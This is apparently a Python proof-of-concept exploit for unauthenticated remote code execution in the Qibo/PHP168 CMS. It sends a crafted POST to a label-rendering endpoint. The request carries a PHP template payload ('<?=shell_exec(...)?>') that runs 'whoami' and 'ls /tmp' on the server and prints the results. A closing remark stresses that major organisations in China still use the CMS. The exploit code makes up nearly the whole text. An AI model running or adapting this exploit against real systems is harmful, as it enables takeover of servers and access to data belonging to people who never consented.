#!/usr/bin/env python3
"""Qibo/PHP168 unauth RCE"""
import json
import urllib.parse
import urllib.request
BASE = "http:// domain /index.php?s=index/label_show/ajax_get"
CHECKS = (
("whoami", '<?=shell_exec("whoami");?>'),
("ls /tmp", '<?=shell_exec("ls /tmp");?>'),
)
for i, (command, template) in enumerate(CHECKS):
tag = f"guest_repro_{i}"
url = BASE + "&" + urllib.parse.urlencode({"tagname": tag, "pagename": tag})
fields = [
("union", "class"),
("class", r"app\common\model\User@labelGet"),
("rows", "1"),
("view_tpl?", template),
("page", "1"),
]
request = urllib.request.Request(
url,
data=urllib.parse.urlencode(fields).encode(),
headers={"Content-Type": "application/x-www-form-urlencoded"},
method="POST",
)
with urllib.request.urlopen(request, timeout=20) as response:
result = json.loads(response.read())
print(f"$ {command}")
print(result["data"], end="" if result["data"].endswith("\n") else "\n")
Extremely niche rce but its for qibo which is a cms which is still used by major organisations in china.